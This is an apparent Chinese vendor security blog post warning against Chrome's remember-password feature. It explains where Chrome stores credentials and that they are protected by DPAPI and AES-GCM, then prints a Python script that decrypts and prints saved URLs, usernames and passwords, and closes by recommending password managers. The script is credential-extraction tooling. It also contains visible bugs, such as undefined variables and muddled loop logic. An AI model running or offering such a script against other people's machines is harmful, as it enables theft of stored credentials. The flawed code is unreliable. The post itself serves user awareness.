别再使用记住口令功能了！
我们先来思考几个问题
PART 01
问
chrome记住口令是否安全？
不安全，但是我的电脑别人又不能访问，所以一般情况来说还是挺安全的。
答
问
chrome记住口令的文件存放在哪里？
%LOCALAPPDATA%\Google\Chrome\User Data\（windows）（linux略）
答
问
chrome记住口令是否可读？
可读，但关键数据加密，如下图：
结合这一点，以及电脑中病毒，或者像qq访问浏览器缓存记录事件就可准确回答第一个问题，即使没有人登录你的电脑，也有可能导致记住口令被窃取。
答
问
chrome记住口令是否可以被破解？
可以。
答
chrome记住口令源码分析
PART 02
保存口令逻辑
先来看看同源的chromium的保存口令逻辑（chromium是chrome的另一个开源版本，和其它操作系统的预发布版本一样，很多新功能都会事先在此版本上进行试用）：
加解密参数设置
chrome的加密过程分析省略。
DPAPI解密
获取加密key
解密函数
解密的时候需要对一些参数做验证，如果参数正常，则返回正确口令。从源码分析结果来看，chrome记住口令的加密方式使用了标准的对称加密算法——AES-GCM。
解密脚本
知道了加密算法，以及各参数的计算方法，那么我们就可以通过python开发一个解密脚本。
import osimport jsonimport base64import sqlite3import win32cryptfrom Crypto.Cipher import AES
def get_key(): local_state = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State' with open(local_state, "r", encoding='utf-8') as f: # with open('Local State', "r", encoding='utf-8') as f: local_state = f.read() local_state = json.loads(local_state) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = master_key[5:] key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] return key
def decrypt_password(buff, key): try: iv = buff[3:15] payload = buff[15:] cipher = AES.new(key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) print(decrypted_pass) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass except Exception as e: print(str(e)) return "decrypt failed"
def get_decrypt_password(login_db): conn = sqlite3.connect(login_db) cursor = conn.cursor()
try: cursor.execute("SELECT action_url, username_value, password_value FROM logins") for action_url, username_value, password_value in cursor: if password_value[0:3] == b'v10' or password_value[0:3] == b'v11': # 前3位是以v10或v11开始的就是80版本以后的，需要用这种方法进行解密 for r in cursor.fetchall(): url = r[0] username = r[1] encrypted_password = r[2] decrypted_password = decrypt_password(encrypted_password, key) print("URL: " + url)
print("User Name: " + username)
print("Password: " + decrypted_password)
print("*" * 50 + "\n") else: #否则就是80之前的版本，就可以直接进行解密 for r in cursor.fetchall(): url = r[0] username = r[1] encrypted_password = r[2] decrypted_password = win32crypt.CryptUnprotectData(data[1], None, None, None, 0) if decrypted_password: print("URL: " + url)
print("User Name: " + username)
print("Password: " + decrypted_password)
print("-" * 50 + "\n")
except Exception as e: pass
cursor.close() conn.close()
if __name__ == '__main__': key = get_key() login_db = 'Login Data' get_decrypt_password(login_db)解密效果
看到如下结果即为正确有效的口令：
看到如下图的结果即为不正确的缓存数据：
建议
PART 03
既然chrome记住口令存在安全风险，显然不推荐使用了，那么如何记住那么多的口令？小伙伴们不要着急，目前市场上有诸多口令管理器，如免费开源的KeePass、跨浏览器平台的LastPass等等，您可以选择一款适合您的管理器来记住您的口令哦~~~
往期精选
安帝科技丨ANDISEC
北京安帝科技有限公司是新兴的工业网络安全能力供应商，专注于网络化、数字化、智能化背景下的工业网络安全技术、产品、服务的探索和实践，创新应用网络空间行为学及工业网络行为验证，构建了工业大数据深度分析、威胁情报共享、威胁感知和协同响应等核心能力优势，为电力、石油石化、煤炭、烟草、轨道交通、智能制造等关键信息基础设施行业提供安全产品、服务和综合解决方案，工业网络安全态势感知平台已部署3600余家电厂。
点击“在看”鼓励一下吧